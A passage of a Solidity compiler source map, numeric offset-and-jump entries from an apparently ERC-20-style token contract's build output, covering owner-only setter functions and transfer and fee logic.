-1:-1;;;39072:45:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;39128:23:0;;;;;;:14;:23;;;;;:33;;39155:6;;39128:23;:33;;39155:6;;39128:33;:::i;:::-;;;;-1:-1:-1;;;;;;;39172:27:0;;;;;;:18;:27;;;;;:37;;39203:6;;39172:27;:37;;39203:6;;39172:37;:::i;:::-;;;;-1:-1:-1;;;;38996:221:0:o;37389:91::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;37455:10:::1;:17:::0;;-1:-1:-1;;;;;;37455:17:0::1;-1:-1:-1::0;;;;;37455:17:0;;;::::1;::::0;;;::::1;::::0;;37389:91::o;33530:96::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;33597:12:::1;:21:::0;;-1:-1:-1;;33597:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;33530:96::o;37661:45::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;37661:45:0;;-1:-1:-1;37661:45:0;;-1:-1:-1;37661:45:0:o;38788:200::-;38863:10;;-1:-1:-1;;;;;38863:10:0;38849;:24;38841:45;;;;-1:-1:-1;;;38841:45:0;;;;;;;:::i;:::-;38923:10;;38897:45;;38912:9;;-1:-1:-1;;;;;38923:10:0;38935:6;38897:14;:45::i;:::-;38963:9;-1:-1:-1;;;;;38953:25:0;;:27;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;38788:200;:::o;31783:501::-;32050:36;;-1:-1:-1;;;32050:36:0;;-1:-1:-1;;;;;2611:32:1;;;32050:36:0;;;2593:51:1;31899:16:0;;;;;;;;32057:9;32050:27;;;;2566:18:1;;32050:36:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;32109:26:0;;;;;;;:17;:26;;;;;;;;;32174:9;:18;;;;;;32214:17;;32109:26;32256:20;;;;;32214:17;;32109:26;;;;;-1:-1:-1;32256:20:0;-1:-1:-1;31783:501:0;-1:-1:-1;;31783:501:0:o;41437:90::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;41501:9:::1;:18:::0;;-1:-1:-1;;41501:18:0::1;::::0;::::1;;::::0;;;::::1;::::0;;41437:90::o;39848:112::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;39927:16:0;;;::::1;;::::0;;;:10:::1;:16;::::0;;;;:25;;-1:-1:-1;;39927:25:0::1;::::0;::::1;;::::0;;;::::1;::::0;;39848:112::o;30510:141::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;30575:15:::1;::::0;30570:20;30562:40:::1;;;::::0;-1:-1:-1;;;30562:40:0;;11944:2:1;30562:40:0::1;::::0;::::1;11926:21:1::0;11983:1;11963:18;;;11956:29;-1:-1:-1;;;12001:18:1;;;11994:37;12048:18;;30562:40:0::1;11742:330:1::0;30562:40:0::1;30631:12;30613:15;:30:::0;30510:141::o;28503:243::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;28634:6:::1;28629:110;28650:8;:15;28646:1;:19;28629:110;;;28717:10;28687:14;:27;28702:8;28711:1;28702:11;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;28687:27:0::1;-1:-1:-1::0;;;;;28687:27:0::1;;;;;;;;;;;;:40;;;;28667:3;;;;;:::i;:::-;;;;28629:110;;2992:148:::0;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;3099:1:::1;3083:6:::0;;3062:40:::1;::::0;-1:-1:-1;;;;;3083:6:0;;::::1;::::0;3062:40:::1;::::0;3099:1;;3062:40:::1;3130:1;3113:19:::0;;-1:-1:-1;;;;;;3113:19:0::1;::::0;;2992:148::o;32292:538::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;32427:15;;32413:11:::1;::::0;;32515:308:::1;32535:3;32531:1;:7;32515:308;;;32567:8;32576:1;32567:11;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;32604:18:0;::::1;;::::0;;;:9:::1;:18:::0;;;;;;;32637:28;;;32680:20:::1;::::0;::::1;:31:::0;;;32567:11;;-1:-1:-1;32604:18:0;-1:-1:-1;32726:23:0::1;32567:11:::0;32726:14:::1;:23::i;:::-;32793:3;;32515:308;;;;32402:428;;;32292:538:::0;;:::o;39968:219::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;40091:6:::1;40086:94;40107:4;:11;40103:1;:15;40086:94;;;40162:6;40140:10;:19;40151:4;40156:1;40151:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;40140:19:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;40140:19:0;:28;;-1:-1:-1;;40140:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;40120:3;::::1;::::0;::::1;:::i;:::-;;;;40086:94;;17334:441:::0;17407:14;17423:13;17454:18;17485:9;17454:41;;17507:7;17516:10;17532:8;-1:-1:-1;;;;;17532:20:0;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1;;;;;;17506:48:0;;;;-1:-1:-1;17506:48:0;;-1:-1:-1;17588:5:0;17629:4;-1:-1:-1;;;;;17608:26:0;;;17604:164;;;17660:2;17651:11;;17685:2;17677:10;;17604:164;;;17729:2;17720:11;;17754:2;17746:10;;17604:164;17443:332;;;;17334:441;;:::o;41535:101::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;41606:18:::1;:22:::0;41535:101::o;39357:121::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;39441:20:0;;;::::1;;::::0;;;:14:::1;:20;::::0;;;;:29;;-1:-1:-1;;39441:29:0::1;::::0;::::1;;::::0;;;::::1;::::0;;39357:121::o;29241:184::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;29309:11:::1;:18:::0;;-1:-1:-1;;;;;;29309:18:0::1;-1:-1:-1::0;;;;;29309:18:0;::::1;::::0;;::::1;::::0;;;-1:-1:-1;29338:19:0;;;:13:::1;:19;::::0;;;;:26;;-1:-1:-1;;29338:26:0::1;-1:-1:-1::0;29338:26:0::1;::::0;;29409:8:::1;29415:2;-1:-1:-1::0;;29409:8:0::1;:::i;:::-;29385:11;::::0;-1:-1:-1;;;;;29385:11:0::1;29375:22;::::0;;;:9:::1;:22;::::0;;;;:42;-1:-1:-1;29241:184:0:o;40662:215::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;40783:6:::1;40778:92;40799:4;:11;40795:1;:15;40778:92;;;40852:6;40832:8;:17;40841:4;40846:1;40841:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;40832:17:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;40832:17:0;:26;;-1:-1:-1;;40832:26:0::1;::::0;::::1;;::::0;;;::::1;::::0;;40812:3;::::1;::::0;::::1;:::i;:::-;;;;40778:92;;29540:300:::0;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;29705:17:::1;:33:::0;;;;29749:9:::1;:17:::0;;;;29777:11:::1;:21:::0;29809:12:::1;:23:::0;29540:300::o;30201:93::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;30268:12:::1;:18:::0;30201:93::o;33677:175::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;33769:6:::1;33756:9;:19;;:43;;;;;33792:7;33779:9;:20;;33756:43;33748:63;;;::::0;-1:-1:-1;;;33748:63:0;;13421:2:1;33748:63:0::1;::::0;::::1;13403:21:1::0;13460:1;13440:18;;;13433:29;-1:-1:-1;;;13478:18:1;;;13471:37;13525:18;;33748:63:0::1;13219:330:1::0;33748:63:0::1;33822:10;:22:::0;33677:175::o;7757:98::-;7807:13;7840:7;7833:14;;;;;:::i;36945:106::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;37019:15:::1;:24:::0;36945:106::o;37213:136::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;37281:12:::1;:19:::0;;-1:-1:-1;;;;;37281:19:0;;::::1;-1:-1:-1::0;;;;;;37281:19:0;;::::1;::::0;::::1;::::0;;:12:::1;37311:23:::0;;;:17:::1;:23;::::0;;;;:30;;-1:-1:-1;;37311:30:0::1;37281:19:::0;37311:30:::1;::::0;;37213:136::o;31536:239::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;31676:18:0;::::1;31648:25;31676:18:::0;;;:9:::1;:18;::::0;;;;31705:28;;;31744:23:::1;31686:7:::0;31744:14:::1;:23::i;31018:118::-:0;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;31100:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;31100:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;31018:118::o;8333:190::-;8436:4;8453:40;8463:10;8475:9;8486:6;8453:9;:40::i;39486:225::-;-1:-1:-1;;;;;39600:17:0;;;39562:15;39600:17;;;:8;:17;;;;;;;;;;;;39632:23;;;:14;:23;;;;;;;;;39628:76;;;-1:-1:-1;39690:1:0;39628:76;39486:225;;;:::o;30785:::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;30911:6:::1;30906:97;30927:4;:11;30923:1;:15;30906:97;;;30985:6;30960:13;:22;30974:4;30979:1;30974:7;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;30960:22:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;30960:22:0;:31;;-1:-1:-1;;30960:31:0::1;::::0;::::1;;::::0;;;::::1;::::0;;30940:3;::::1;::::0;::::1;:::i;:::-;;;;30906:97;;30403:99:::0;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;30473:15:::1;:21:::0;30403:99::o;32838:561::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;32988:15;;32974:11:::1;::::0;;33076:316:::1;33096:3;33092:1;:7;33076:316;;;33128:8;33137:1;33128:11;;;;;;;;:::i;:::-;;;;;;;33118:21;;33165:9;:18;33175:7;-1:-1:-1::0;;;;;33165:18:0::1;-1:-1:-1::0;;;;;33165:18:0::1;;;;;;;;;;;;33154:29;;33218:9;33228:1;33218:12;;;;;;;;:::i;:::-;;;;;;;33198:8;:17;;:32;;;;33268:9;33278:1;33268:12;;;;;;;;:::i;:::-;;;;;;;33245:8;:20;;:35;;;;33295:23;33310:7;33295:14;:23::i;:::-;33362:3;;33076:316;;30302:93:::0;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;30369:12:::1;:18:::0;30302:93::o;17084:242::-;17156:14;17172:13;17187:20;17243:15;:13;:15::i;:::-;17284:34;;-1:-1:-1;;;17284:34:0;;-1:-1:-1;;;;;17308:9:0;2611:32:1;;17284:34:0;;;2593:51:1;17225:33:0;;-1:-1:-1;17225:33:0;;-1:-1:-1;17291:5:0;17284:23;;;;;;2566:18:1;;17284:34:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;17269:49;;17084:242;;;:::o;28336:159::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;28451:23:0;;::::1;;::::0;;;:14:::1;:23;::::0;;;;:36;28336:159::o;30659:118::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;30741:19:0;;;::::1;;::::0;;;:13:::1;:19;::::0;;;;:28;;-1:-1:-1;;30741:28:0::1;::::0;::::1;;::::0;;;::::1;::::0;;30659:118::o;33860:28::-;;;;;;;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;33860:28:0;;-1:-1:-1;33860:28:0;:::o;28754:258::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;28896:6:::1;28891:114;28912:8;:15;28908:1;:19;28891:114;;;28979:11;28991:1;28979:14;;;;;;;;:::i;:::-;;;;;;;28949;:27;28964:8;28973:1;28964:11;;;;;;;;:::i;:::-;;;;;;;-1:-1:-1::0;;;;;28949:27:0::1;-1:-1:-1::0;;;;;28949:27:0::1;;;;;;;;;;;;:44;;;;28929:3;;;;;:::i;:::-;;;;28891:114;;29848:305:::0;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;30014:18:::1;:34:::0;;;;30059:10:::1;:18:::0;;;;30088:12:::1;:22:::0;30121:13:::1;:24:::0;29848:305::o;31144:160::-;31220:10;31206:25;;;;:13;:25;;;;;;;;31202:95;;;31256:11;;31248:37;;-1:-1:-1;;;;;31256:11:0;;;;31248:37;;;;;31278:6;;31256:11;31248:37;31256:11;31248:37;31278:6;31256:11;31248:37;;;;;;;;;;;;;;;;;;;31202:95;31144:160;:::o;28064:264::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;28206:14:::1;:26:::0;;;;28243:20:::1;:32:::0;28286:21:::1;:34:::0;28064:264::o;38613:167::-;38708:10;;-1:-1:-1;;;;;38708:10:0;38694;:24;38686:45;;;;-1:-1:-1;;;38686:45:0;;;;;;;:::i;:::-;38742:30;38755:7;38764;38742:12;:30::i;3148:208::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;-1:-1:-1;;;;;3237:22:0;::::1;3229:37;;;::::0;-1:-1:-1;;;3229:37:0;;13756:2:1;3229:37:0::1;::::0;::::1;13738:21:1::0;13795:1;13775:18;;;13768:29;-1:-1:-1;;;13813:18:1;;;13806:32;13855:18;;3229:37:0::1;13554:325:1::0;3229:37:0::1;3303:6;::::0;;3282:38:::1;::::0;-1:-1:-1;;;;;3282:38:0;;::::1;::::0;3303:6;::::1;::::0;3282:38:::1;::::0;::::1;3331:6;:17:::0;;-1:-1:-1;;;;;;3331:17:0::1;-1:-1:-1::0;;;;;3331:17:0;;;::::1;::::0;;;::::1;::::0;;3148:208::o;37059:110::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;37135:17:::1;:26:::0;37059:110::o;40376:133::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;40445:12:::1;:19:::0;;-1:-1:-1;;;;;40445:19:0;;::::1;-1:-1:-1::0;;;;;;40445:19:0;;::::1;::::0;::::1;::::0;;:12:::1;40475:19:::0;;;:13:::1;:19;::::0;;;;:26;;-1:-1:-1;;40475:26:0::1;40445:19:::0;40475:26:::1;::::0;;40376:133::o;40231:137::-;2937:6;;-1:-1:-1;;;;;2937:6:0;2947:10;2937:20;2929:35;;;;-1:-1:-1;;;2929:35:0;;;;;;;:::i;:::-;40302:14:::1;:21:::0;;-1:-1:-1;;;;;40302:21:0;;::::1;-1:-1:-1::0;;;;;;40302:21:0;;::::1;::::0;::::1;::::0;;:14:::1;40334:19:::0;;;:13:::1;:19;::::0;;;;:26;;-1:-1:-1;;40334:26:0::1;40302:21:::0;40334:26:::1;::::0;;40231:137::o;9311:177::-;-1:-1:-1;;;;;9396:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;9448:32;;740:25:1;;;9448:32:0;;713:18:1;9448:32:0;;;;;;;;9311:177;;;:::o;9496:3867::-;9576:16;:14;:16::i;:::-;-1:-1:-1;;;;;9626:16:0;;;;;;:10;:16;;;;;;;;9625:17;;:40;;-1:-1:-1;;;;;;9646:19:0;;;;;;:13;:19;;;;;;;;9625:40;:63;;;-1:-1:-1;;;;;;9669:19:0;;;;;;:13;:19;;;;;;;;9625:63;9603:122;;;;-1:-1:-1;;;9603:122:0;;14086:2:1;9603:122:0;;;14068:21:1;14125:1;14105:18;;;14098:29;-1:-1:-1;;;14143:18:1;;;14136:39;14192:18;;9603:122:0;13884:332:1;9603:122:0;-1:-1:-1;;;;;8274:18:0;;9738:15;8274:18;;;:9;:18;;;;;;9790:17;;;;9782:33;;;;-1:-1:-1;;;9782:33:0;;14423:2:1;9782:33:0;;;14405:21:1;14462:1;14442:18;;;14435:29;-1:-1:-1;;;14480:18:1;;;14473:33;14523:18;;9782:33:0;14221:326:1;9782:33:0;9845:9;9826:16;9926:23;;;:13;:23;;;;;;9884:12;;9926:23;;9925:24;:66;;;;;9962:9;-1:-1:-1;;;;;9954:17:0;:4;-1:-1:-1;;;;;9954:17:0;;:36;;;;9981:9;-1:-1:-1;;;;;9975:15:0;:2;-1:-1:-1;;;;;9975:15:0;;9954:36;9907:536;;;10040:12;;10071:15;;10067:365;;10107:24;;;;:14;:24;;;;;;;;-1:-1:-1;;;;;10107:34:0;;;;;;;;;:44;;10145:6;;10107:24;:44;;10145:6;;10107:44;:::i;:::-;;;;-1:-1:-1;10173:14:0;;-1:-1:-1;10191:15:0;:13;:15::i;:::-;10170:36;-1:-1:-1;10264:5:0;;-1:-1:-1;10240:20:0;10249:11;10170:36;10240:20;:::i;:::-;10239:30;;;;:::i;:::-;10333:24;;;;:14;:24;;;;;;;;-1:-1:-1;;;;;10333:34:0;;;;;;;;;;10225:44;;-1:-1:-1;10318:49:0;;;10288:128;;;;-1:-1:-1;;;10288:128:0;;14927:2:1;10288:128:0;;;14909:21:1;14966:1;14946:18;;;14939:29;-1:-1:-1;;;14984:18:1;;;14977:35;15029:18;;10288:128:0;14725:328:1;10288:128:0;10088:344;10067:365;10003:440;9907:536;10467:10;;-1:-1:-1;;;;;10459:18:0;;;10467:10;;10459:18;;:38;;-1:-1:-1;10487:10:0;;-1:-1:-1;;;;;10481:16:0;;;10487:10;;10481:16;10459:38;10455:124;;;10514:32;10529:4;10535:2;10539:6;10514:14;:32::i;10455:124::-;-1:-1:-1;;;;;10621:19:0;;10591:12;10621:19;;;:13;:19;;;;;;;;10620:20;:42;;;;-1:-1:-1;;;;;;10645:17:0;;;;;;:13;:17;;;;;;;;10644:18;10620:42;10616:333;;;10707:4;-1:-1:-1;;;;;10683:28:0;10691:11;-1:-1:-1;;;;;10683:28:0;;10679:259;;10732:21;10774:4;10757:13;:7;10767:3;10757:13;:::i;:::-;10756:22;;;;:::i;:::-;10732:46;;10810:13;10801:6;:22;10797:93;;;10857:13;10848:22;;10797:93;10918:4;10908:14;;10713:225;10679:259;10961:25;10997:22;11054:9;-1:-1:-1;;;;;11048:15:0;:2;-1:-1:-1;;;;;11048:15:0;;:66;;;;-1:-1:-1;11088:11:0;-1:-1:-1;;;;;11080:34:0;11104:10;11080:34;11048:66;:99;;;;;11143:4;-1:-1:-1;;;;;11131:16:0;:8;-1:-1:-1;;;;;11131:16:0;;11048:99;11030:478;;;11191:23;11207:6;11191:15;:23::i;:::-;11174:40;-1:-1:-1;11233:18:0;;11229:268;;-1:-1:-1;;;;;11283:19:0;;;;;;:9;:19;;;;;11321:35;;11283:19;;-1:-1:-1;11342:14:0;;11283:19;;11321:35;;11342:14;;11321:35;:::i;:::-;;;;-1:-1:-1;;11384:15:0;;11379:1;:20;11375:107;;11448:14;11424:8;:20;;;:38;;;;;;;:::i;:::-;;;;-1:-1:-1;;11375:107:0;11520:25;11568:9;-1:-1:-1;;;;;11560:17:0;:4;-1:-1:-1;;;;;11560:17:0;;11556:403;;11614:26;11633:6;11614:18;:26::i;:::-;11594:46;-1:-1:-1;11659:21:0;;11655:293;;-1:-1:-1;;;;;11709:19:0;;;;;;:9;:19;;;;;:28;:49;-1:-1:-1;11709:49:0;11701:58;;;;;;-1:-1:-1;;;;;11778:19:0;;;;;;:9;:19;;;;;:49;;11810:17;;11778:19;:49;;11810:17;;11778:49;:::i;:::-;;;;-1:-1:-1;;;;;;;11850:23:0;;;;;;:13;:23;;;;;;;;11846:87;;;11908:5;11898:15;;11846:87;-1:-1:-1;;;;;11975:19:0;;;;;;:13;:19;;;;;;;;;:40;;-1:-1:-1;;;;;;11998:17:0;;;;;;:13;:17;;;;;;;;11975:40;11971:920;;;12041:15;;12036:1;:20;12032:177;;-1:-1:-1;;;;;12081:19:0;;;;;;:13;:19;;;;;;;;:38;;;;;12110:9;-1:-1:-1;;;;;12104:15:0;:2;-1:-1:-1;;;;;12104:15:0;;12081:38;12077:117;;;12162:12;12144:15;:30;12077:117;-1:-1:-1;;;;;12230:19:0;;;;;;:13;:19;;;;;;;;12229:20;:42;;;;-1:-1:-1;;;;;;12254:17:0;;;;;;:13;:17;;;;;;;;12253:18;12229:42;12225:655;;;12301:15;;12296:1;:20;12292:573;;12379:15;;12375:1;:19;:88;;;;;12445:1;12428:14;:18;:34;;;-1:-1:-1;;;;;;12450:12:0;;;;;;:8;:12;;;;;;;;12428:34;12341:145;;;;;;12292:573;;;12565:19;;:70;;;;-1:-1:-1;12613:22:0;;12565:70;:138;;;;;5193:1;12675:15;;:28;;;;:::i;:::-;12664:8;:39;12565:138;12535:311;;;12754:35;12768:4;12774:2;12778:6;12786:2;12754:13;:35::i;:::-;12816:7;;;;;;;9496:3867;;;:::o;12535:311::-;12903:165;12932:4;12951:2;12968:6;12989:7;13011:14;13040:17;12903:14;:165::i;:::-;-1:-1:-1;;;;;13085:21:0;;13101:4;13085:21;13081:275;;13127:18;;13123:222;;13166:20;13181:4;13166:14;:20::i;:::-;13123:222;;;13212:7;13208:137;;;13260:10;;13289:40;13325:3;13306:15;13260:10;13325:3;13306:15;:::i;:::-;13305:23;;;;:::i;:::-;13289:15;:40::i;:::-;13221:124;9565:3798;;;;;;;9496:3867;;;:::o;18213:236::-;-1:-1:-1;;;;;18362:17:0;;;;;;:9;:17;;;;;;:27;;18382:7;;18362:27;:::i;:::-;-1:-1:-1;;;;;18342:17:0;;;;;;:9;:17;;;;;:47;18400:41;18352:6;18422:9;18433:7;18400:13;:41::i;34123:495::-;-1:-1:-1;;;;;34188:20:0;;;;;;:15;:20;;;;;;34183:25;;34179:432;;34234:11;:18;34229:23;;:48;;;34274:3;-1:-1:-1;;;;;34256:21:0;:11;34268:1;34256:14;;;;;;;;:::i;:::-;;;;;;;;;;;-1:-1:-1;;;;;34256:14:0;:21;;34229:48;34225:375;;;34369:16;;34426:8;;34422:63;;34459:7;34123:495;:::o;34422:63::-;-1:-1:-1;34526:11:0;:18;;-1:-1:-1;;;;;34503:20:0;;;;;;:15;:20;;;;;:41;;;34563:21;;;;;;;;;;;;;-1:-1:-1;;;;;;34563:21:0;;;;;;34123:495;:::o;37768:837::-;-1:-1:-1;;;;;37861:17:0;;;37890:1;37861:17;;;:8;:17;;;;;;;:31;:69;;;;-1:-1:-1;;;;;;37909:21:0;;;;37861:69;:107;;;;-1:-1:-1;;;;;;37947:21:0;;;;37861:107;:142;;;;;37996:7;-1:-1:-1;;;;;37985:18:0;:7;-1:-1:-1;;;;;37985:18:0;;;37861:142;37843:755;;;-1:-1:-1;;;;;38034:17:0;;;;;;:8;:17;;;;;:24;:29;;38030:557;;38155:20;;38216:8;;38212:63;;38249:7;37768:837;;:::o;38212:63::-;-1:-1:-1;38356:20:0;;38417:8;;38413:63;;38450:7;37768:837;;:::o;38413:63::-;-1:-1:-1;;;;;;38494:17:0;;;;;;;:8;:17;;;;;;;;:27;;;;;-1:-1:-1;;;;;;38494:27:0;;;;;;;;38540:17;;:8;:17;;;;:31;;38494:27;38540:31;;;;;;;;;;;;;;;;;;37768:837;;:::o;41644:228::-;41694:9;;;;41689:176;;41721:13;41740:15;:13;:15::i;:::-;41720:35;;;41783:18;;41774:5;:27;41770:84;;41822:9;:16;;-1:-1:-1;;41822:16:0;41834:4;41822:16;;;41705:160;41689:176;41644:228::o;13371:467::-;13451:17;13482:14;13498:13;13513:20;13537:14;:12;:14::i;:::-;13481:70;;;;;;13562:19;13605:1;13596:6;:10;:23;;;;;13618:1;13610:5;:9;13596:23;13592:95;;;13670:5;13651:15;13660:6;13651;:15;:::i;:::-;13650:25;;;;:::i;:::-;13636:39;;13592:95;13717:20;13726:11;13717:6;:20;:::i;:::-;13701:12;:36;13697:134;;13770:49;13783:12;13797:6;13805;13813:5;13770:12;:49::i;:::-;-1:-1:-1;13754:65:0;-1:-1:-1;13697:134:0;13470:368;;;;13371:467;;;:::o;13846:642::-;13929:17;13960:14;13976:13;13991:20;14015:14;:12;:14::i;:::-;13959:70;;;;;;14059:6;14044:12;:21;14040:441;;;14200:6;14177:20;14187:9;-1:-1:-1;;;;;8274:18:0;8236:7;8274:18;;;:9;:18;;;;;;;8170:155;14177:20;:29;;;;:::i;:::-;14131:9;-1:-1:-1;;;;;14121:32:0;;:34;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;14112:43;;:6;:43;:::i;:::-;14111:96;;;;:::i;:::-;14082:125;;14040:441;;;14229:12;;;;14225:256;;;14258:19;14305:1;14296:6;:10;:23;;;;;14318:1;14310:5;:9;14296:23;14292:178;;;14375:14;14383:6;14375:5;:14;:::i;:::-;14355:15;14364:6;14355;:15;:::i;:::-;14354:36;;;;:::i;:::-;14340:50;-1:-1:-1;14433:20:0;14447:6;14340:50;14433:20;:::i;:::-;14417:12;:36;;14409:45;;;;;14225:256;13948:540;;;13846:642;;;:::o;17783:422::-;-1:-1:-1;;;;;17953:17:0;;;;;;:9;:17;;;;;;:27;;17973:7;;17953:27;:::i;:::-;-1:-1:-1;;;;;17933:17:0;;;;;;:9;:17;;;;;:47;;;;18029:3;18012:13;18022:3;18012:7;:13;:::i;:::-;18011:21;;;;:::i;:::-;17991:41;-1:-1:-1;18047:13:0;;18043:91;;18099:11;;18077:45;;18091:6;;-1:-1:-1;;;;;18099:11:0;18112:9;18077:13;:45::i;:::-;18144:53;18158:6;18166:9;18177:19;18187:9;18177:7;:19;:::i;:::-;18144:13;:53::i;18457:3542::-;-1:-1:-1;;;;;18698:17:0;;;;;;:9;:17;;;;;;:27;;18718:7;;18698:27;:::i;:::-;-1:-1:-1;;;;;18678:17:0;;;;;;:9;:17;;;;;:47;;;;18780:9;18678:17;;;18895:18;18891:1861;;18927:21;;18923:1829;;18969:7;18965:198;;;19010:137;19052:6;19081:7;19111:17;19010:19;:137::i;:::-;18997:150;;;;:::i;:::-;;;18965:198;18923:1829;;;-1:-1:-1;;;;;19184:21:0;;;;;;:13;:21;;;;;;;;19180:1572;;;19245:7;19241:335;;;19281:9;;;;19273:18;;;;;;19555:5;19517:12;;19474:11;;19433:9;;19384:17;;:58;;;;:::i;:::-;:101;;;;:::i;:::-;:145;;;;:::i;:::-;19348:182;;:7;:182;:::i;:::-;19347:213;;;;:::i;:::-;19310:250;;19241:335;19645:16;;;19659:1;19645:16;;;;;;;;19621:21;;19645:16;;;;;;;;;;-1:-1:-1;19645:16:0;19621:40;;19686:5;19676:4;19681:1;19676:7;;;;;;;;:::i;:::-;;;;;;:15;-1:-1:-1;;;;;19676:15:0;;;-1:-1:-1;;;;;19676:15:0;;;;;19724:4;19706;19711:1;19706:7;;;;;;;;:::i;:::-;-1:-1:-1;;;;;1